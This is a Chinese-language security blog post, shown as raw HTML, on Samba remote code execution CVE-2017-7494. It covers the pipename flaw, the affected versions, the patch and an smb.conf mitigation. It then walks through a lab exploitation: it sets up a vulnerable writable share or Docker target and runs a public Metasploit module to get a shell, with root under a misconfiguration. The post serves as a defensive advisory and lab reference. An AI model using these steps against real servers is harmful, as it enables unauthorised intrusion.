-
Notifications
You must be signed in to change notification settings - Fork 5
/
samba-rce-cve-2017-7494.html
388 lines (267 loc) · 18.1 KB
/
samba-rce-cve-2017-7494.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
<!doctype html>
<!--[if lt IE 7]><html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if (IE 7)&!(IEMobile)]><html class="no-js lt-ie9 lt-ie8" lang="en"><![endif]-->
<!--[if (IE 8)&!(IEMobile)]><html class="no-js lt-ie9" lang="en"><![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en"><!--<![endif]-->
<head>
<meta charset="utf-8">
<title>Samba远程代码执行漏洞-CVE-2017-7494 – KINGX</title>
<meta name="description" content="Samba RCE CVE">
<meta name="keywords" content="vulnerability, exploit">
<!-- Twitter Cards -->
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://kingx.me/images/">
<meta name="twitter:title" content="Samba远程代码执行漏洞-CVE-2017-7494">
<meta name="twitter:description" content="Samba RCE CVE">
<meta name="twitter:creator" content="@https://twitter.com/KINGX_CN">
<!-- Open Graph -->
<meta property="og:locale" content="en_US">
<meta property="og:type" content="article">
<meta property="og:title" content="Samba远程代码执行漏洞-CVE-2017-7494">
<meta property="og:description" content="Samba RCE CVE">
<meta property="og:url" content="https://kingx.me/samba-rce-cve-2017-7494.html">
<meta property="og:site_name" content="KINGX">
<link rel="canonical" href="https://kingx.me/samba-rce-cve-2017-7494.html">
<link href="https://kingx.me/feed.xml" type="application/atom+xml" rel="alternate" title="KINGX Feed">
<!-- http://t.co/dKP3o1e -->
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- For all browsers -->
<link rel="stylesheet" href="https://kingx.me/assets/css/main.css">
<!-- Webfonts -->
<link href="//fonts.googleapis.com/css?family=Lato:300,400,700,300italic,400italic" rel="stylesheet" type="text/css">
<meta http-equiv="cleartype" content="on">
<!-- Load Modernizr -->
<script src="https://kingx.me/assets/js/vendor/modernizr-2.6.2.custom.min.js"></script>
<!-- Icons -->
<!-- 16x16 -->
<link rel="shortcut icon" href="https://kingx.me/favicon.ico">
<!-- 32x32 -->
<link rel="shortcut icon" href="https://kingx.me/favicon.png">
<!-- 57x57 (precomposed) for iPhone 3GS, pre-2011 iPod Touch and older Android devices -->
<link rel="apple-touch-icon-precomposed" href="https://kingx.me/images/apple-touch-icon-precomposed.png">
<!-- 72x72 (precomposed) for 1st generation iPad, iPad 2 and iPad mini -->
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://kingx.me/images/apple-touch-icon-72x72-precomposed.png">
<!-- 114x114 (precomposed) for iPhone 4, 4S, 5 and post-2011 iPod Touch -->
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://kingx.me/images/apple-touch-icon-114x114-precomposed.png">
<!-- 144x144 (precomposed) for iPad 3rd and 4th generation -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://kingx.me/images/apple-touch-icon-144x144-precomposed.png">
<style type="text/css">body {background-image:url(https://kingx.me/images/triangular.png);}</style>
</head>
<body id="post" >
<!--[if lt IE 9]><div class="upgrade"><strong><a href="http://whatbrowser.org/">Your browser is quite old!</strong> Why not upgrade to a different browser to better enjoy this site?</a></div><![endif]-->
<nav id="dl-menu" class="dl-menuwrapper" role="navigation">
<button class="dl-trigger">Open Menu</button>
<ul class="dl-menu">
<li><a href="https://kingx.me/">Home</a></li>
<li>
<a href="#">About</a>
<ul class="dl-submenu">
<li>
<img src="https://kingx.me/images/avatar.jpg" alt="KINGX photo" class="author-photo">
<h4>KINGX</h4>
<p>What is Security</p>
</li>
<li><a href="https://kingx.me/about/"><span class="btn btn-inverse">Learn More</span></a></li>
<li>
<a href="mailto:root#kingx.me"><i class="fa fa-fw fa-envelope"></i> Email</a>
</li>
<li>
<a href="https://twitter.com/KINGX_CN"><i class="fa fa-fw fa-twitter"></i> Twitter</a>
</li>
<li>
<a href="https://weibo.com/u/1624430122"><i class="fa fa-fw fa-weibo"></i> Weibo</a>
</li>
<li>
<a href="https://github.com/KINGX-Code"><i class="fa fa-fw fa-github"></i> GitHub</a>
</li>
</ul><!-- /.dl-submenu -->
</li>
<!-- <li>
<a href="#">Posts</a>
<ul class="dl-submenu">
<li><a href="https://kingx.me/posts/">All Posts</a></li>
<li><a href="https://kingx.me/tags/">All Tags</a></li>
</ul>
</li> -->
<li><a href="https://kingx.me/latest-events/" >Security Incidents</a></li>
<li><a href="https://kingx.me/latest-vulns/" >Vulnerabilities</a></li>
<li><a href="https://kingx.me/pentest-tools/" >Red Team</a></li>
<li><a href="https://kingx.me/cheatsheet/" >CheatSheet</a></li>
<li><a href="https://kingx.me/stop-learning/" >Stop Learning</a></li>
<li><a href="https://kingx.me/posts/" >Archives</a></li>
<li><a href="https://kingx.me/tags/" >Tags</a></li>
<li><a href="https://kingx.me/links/" >Links</a></li>
<li><a href="https://kingx.me/feed.xml" >RSS</a></li>
</ul><!-- /.dl-menu -->
</nav><!-- /.dl-menuwrapper -->
<div id="main" role="main">
<article class="hentry">
<header class="header-title">
<div class="header-title-wrap">
<h1 class="entry-title"><a href="https://kingx.me/samba-rce-cve-2017-7494.html" rel="bookmark" title="Samba远程代码执行漏洞-CVE-2017-7494">Samba远程代码执行漏洞-CVE-2017-7494</a></h1>
<h2><span class="entry-date date published"><time datetime="2017-05-26T00:00:00-04:00">May 26, 2017, KINGX</time></span></h2>
<p class="entry-reading-time">
<i class="fa fa-clock-o"></i>
Reading time ~1 minute
<span id="busuanzi_container_page_pv">
/ Page View <span id="busuanzi_value_page_pv">0</span> / Site Visitor <span id="busuanzi_value_site_uv">0</span>
</span>
</p><!-- /.entry-reading-time -->
</div><!-- /.header-title-wrap -->
</header>
<div class="entry-content">
<span class="entry-tags" style="color:red;font-size:13px;margin-bottom: 0px;">「声明:本博客中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」</span>
<h2 id="0x01-概述">0x01 概述</h2>
<p>Samba的<code class="highlighter-rouge">is_known_pipename</code>函数中,pipename路径符号存在漏洞,未过滤 <code class="highlighter-rouge">/</code> 符号。攻击者连接上一个可写的共享目录,通过上传恶意的链接库文件,并构造一个指向该库文件的管道名,使服务端程序加载并执行它,从而实现远程代码执行。</p>
<h2 id="0x02-影响">0x02 影响</h2>
<p>影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。
利用条件:</p>
<ol>
<li>可访问Samba端口,默认445端口</li>
<li>拥有共享文件写入权限,如:匿名可写等</li>
<li>恶意攻击者需猜解Samba服务端共享目录的物理路径</li>
</ol>
<p>在Metasploit Exploit Pull Request讨论中,<a href="https://github.com/rapid7/metasploit-framework/pull/8450" target="_blank">@hdm</a>指出,有方法可能不需要猜解Samba共享目录的物理路径:</p>
<blockquote>
<p>Additionally, Mr. Tavis Ormandy suggested a nice way to exploit this without knowing the path using two connections and /proc/self/cwd, which I will try to implement in the near future (this PR if its languishing or the next one).</p>
</blockquote>
<h2 id="0x03-修复">0x03 修复</h2>
<p>打补丁<sup id="fnref:1"><a href="#fn:1" class="footnote">1</a></sup>或者升级到Samba 4.6.4/4.5.10/4.4.14任意版本<sup id="fnref:2"><a href="#fn:2" class="footnote">2</a></sup></p>
<p>4.6.3-4.5.9-4.4.13版本的补丁关键代码如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">---</span>
<span class="n">bool</span> <span class="n">is_known_pipename</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pipename</span><span class="p">,</span> <span class="k">struct</span> <span class="n">ndr_syntax_id</span> <span class="o">*</span><span class="n">syntax</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">NTSTATUS</span> <span class="n">status</span><span class="p">;</span>
<span class="o">+</span> <span class="k">if</span> <span class="p">(</span><span class="n">strchr</span><span class="p">(</span><span class="n">pipename</span><span class="p">,</span> <span class="sc">'/'</span><span class="p">))</span> <span class="p">{</span>
<span class="o">+</span> <span class="n">DEBUG</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="s">"Refusing open on pipe %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pipename</span><span class="p">));</span>
<span class="o">+</span> <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="o">+</span> <span class="p">}</span>
<span class="o">+</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lp_disable_spoolss</span><span class="p">()</span> <span class="o">&&</span> <span class="n">strequal</span><span class="p">(</span><span class="n">pipename</span><span class="p">,</span> <span class="s">"spoolss"</span><span class="p">))</span> <span class="p">{</span>
<span class="n">DEBUG</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="p">(</span><span class="s">"refusing spoolss access</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="o">---</span>
</code></pre></div></div>
<p><strong>缓解方案:</strong></p>
<p>在smb.conf的[global]板块中添加如下参数并重启Samba服务</p>
<figure class="highlight"><pre><code class="language-default" data-lang="default">[global]
nt pipe support = no</code></pre></figure>
<h2 id="0x04-exploit测试">0x04 Exploit测试</h2>
<p>已有用户向Metasploit提交Exploit模块:
<a href="https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb" target="_blank">Metasploit Exploit</a>
, <a href="https://github.com/rapid7/metasploit-framework/pull/8450" target="_blank">相关PullRequest</a></p>
<p>首先安装一个漏洞版本的Samba软件,配置一个匿名可写的共享目录,并重启服务。</p>
<figure class="highlight"><pre><code class="language-default" data-lang="default">vi /etc/samba/smb.conf
[share]
path=/tmp/share
writable=yes
available=yes
guest ok=yes
public=yes
browseable=yes
---
chmod 777 /tmp/share
service smb restart</code></pre></figure>
<p>也可以使用网上的Docker镜像做靶场:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker pull medicean/vulapps:s_samba_1
docker run <span class="nt">-d</span> <span class="nt">-p</span> 445:445 <span class="nt">-p</span> 139:139 <span class="nt">-p</span> 137:137 medicean/vulapps:s_samba_1
</code></pre></div></div>
<p>Exploit利用过程如下:</p>
<figure class="highlight"><pre><code class="language-vim" data-lang="vim">use exploit<span class="sr">/linux/</span>samba/is_known_pipename</code></pre></figure>
<p><img src="https://kingx.me/images/articles/201705/options.png" alt="options" /></p>
<figure class="highlight"><pre><code class="language-vim" data-lang="vim">exploit</code></pre></figure>
<p><img src="https://kingx.me/images/articles/201705/exploit.png" alt="exploit" /></p>
<p>Exploit获取的默认为nobody权限,如果smb.conf中配置了 <code class="highlighter-rouge">guest account=root</code>,则可以获得root权限。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</code></pre></div></div>
<h2 id="0x05-references">0x05 References</h2>
<div class="footnotes">
<ol>
<li id="fn:1">
<p>https://www.samba.org/samba/history/security.html <a href="#fnref:1" class="reversefootnote">↩</a></p>
</li>
<li id="fn:2">
<p>https://lists.samba.org/archive/samba-announce/2017/000406.html <a href="#fnref:2" class="reversefootnote">↩</a></p>
</li>
</ol>
</div>
<footer class="entry-meta">
<span class="entry-tags" style="color:black;font-size:13px;margin-bottom: 0px;">欢迎订阅我的微信公众号</span>
<img src="/images/secengine.jpg" alt="welcome subscribe"/>
<span class="entry-tags"><a href="https://kingx.me/tags/#vulnerability" title="Pages tagged vulnerability" class="tag"><span class="term">vulnerability</span></a><a href="https://kingx.me/tags/#exploit" title="Pages tagged exploit" class="tag"><span class="term">exploit</span></a></span>
<div class="social-share">
<ul class="socialcount socialcount-small inline-list">
<li class="weibo"><a href="http://service.weibo.com/share/share.php?title=分享KINGX的文章《Samba远程代码执行漏洞-CVE-2017-7494》&url=https://kingx.me/samba-rce-cve-2017-7494.html&source=bookmark" title="Share on Weibo" target="_blank"><span class="count"><i class="fa fa-weibo"></i> WEIBO</span></a></li>
<li class="facebook"><a href="https://www.facebook.com/sharer/sharer.php?u=https://kingx.me/samba-rce-cve-2017-7494.html" title="Share on Facebook"><span class="count"><i class="fa fa-facebook-square"></i> Like</span></a></li>
<li class="twitter"><a href="https://twitter.com/intent/tweet?text=https://kingx.me/samba-rce-cve-2017-7494.html" title="Share on Twitter"><span class="count"><i class="fa fa-twitter-square"></i> Tweet</span></a></li>
<li class="googleplus"><a href="https://plus.google.com/share?url=https://kingx.me/samba-rce-cve-2017-7494.html" title="Share on Google Plus"><span class="count"><i class="fa fa-google-plus-square"></i> +1</span></a></li>
</ul>
</div><!-- /.social-share -->
<!--
<div class="ds-share" data-thread-key="/samba-rce-cve-2017-7494" data-title="Samba远程代码执行漏洞-CVE-2017-7494" data-images="" data-content="Samba远程代码执行漏洞-CVE-2017-7494" data-url="https://kingx.me/samba-rce-cve-2017-7494.html">
<div class="ds-share-inline">
<ul class="ds-share-icons-16">
<li data-toggle="ds-share-icons-more"><a class="ds-more" href="javascript:void(0);">分享到:</a></li>
<li><a class="ds-weibo" href="javascript:void(0);" data-service="weibo">微博</a></li>
<li><a class="ds-qzone" href="javascript:void(0);" data-service="qzone">QQ空间</a></li>
<li><a class="ds-qqt" href="javascript:void(0);" data-service="qqt">腾讯微博</a></li>
<li><a class="ds-wechat" href="javascript:void(0);" data-service="wechat">微信</a></li>
</ul>
<div class="ds-share-icons-more">
</div>
</div>
</div>
-->
</footer>
</div><!-- /.entry-content -->
<div class="read-more">
<div class="read-more-header">
<a href="https://kingx.me/Java-Webshell-Hidden-in-JSP-Pages.html" class="read-more-btn">Read More</a>
</div><!-- /.read-more-header -->
<div class="read-more-content">
<h3><a href="https://kingx.me/Patch-log4j.html" title="Log4j 严重漏洞修复方案参考 CVE-2021-44228">Log4j 严重漏洞修复方案参考 CVE-2021-44228</a></h3>
<p>CVE-2021-44228 <a href="https://kingx.me/Patch-log4j.html">Continue reading</a></p>
</div><!-- /.read-more-content -->
<div class="read-more-list">
<div class="list-item">
<h4><a href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html" title="浅谈大规模红蓝对抗攻与防">浅谈大规模红蓝对抗攻与防</a></h4>
<span>Published on October 12, 2020</span>
</div><!-- /.list-item -->
<div class="list-item">
<h4><a href="https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html" title="Java动态类加载,当FastJson遇到内网">Java动态类加载,当FastJson遇到内网</a></h4>
<span>Published on December 31, 2019</span>
</div><!-- /.list-item -->
</div><!-- /.read-more-list -->
</div><!-- /.read-more -->
</article>
</div><!-- /#main -->
<div class="footer-wrapper">
<footer role="contentinfo">
<span>© 2023 KINGX. Powered by Jekyll using the HPSTR Theme.</span>
</footer>
</div><!-- /.footer-wrapper -->
<!--<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>-->
<!-- <script src="http://libs.baidu.com/jquery/1.9.1/jquery.min.js"></script> -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="https://kingx.me/assets/js/vendor/jquery-1.9.1.min.js"><\/script>')</script>
<script src="https://kingx.me/assets/js/scripts.min.js"></script>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
if(location.host=="kingx.me"){
hm.src = "https://hm.baidu.com/hm.js?d11d8512e0bc6992b9c9bbf2d266ce31";
}else if(location.host=="kingx.sinaapp.com"){
hm.src = "https://hm.baidu.com/hm.js?d1b3dbd97b73868454f102755fdf51ba";
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<!-- Busuanzi Analytics -->
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
</body>
</html>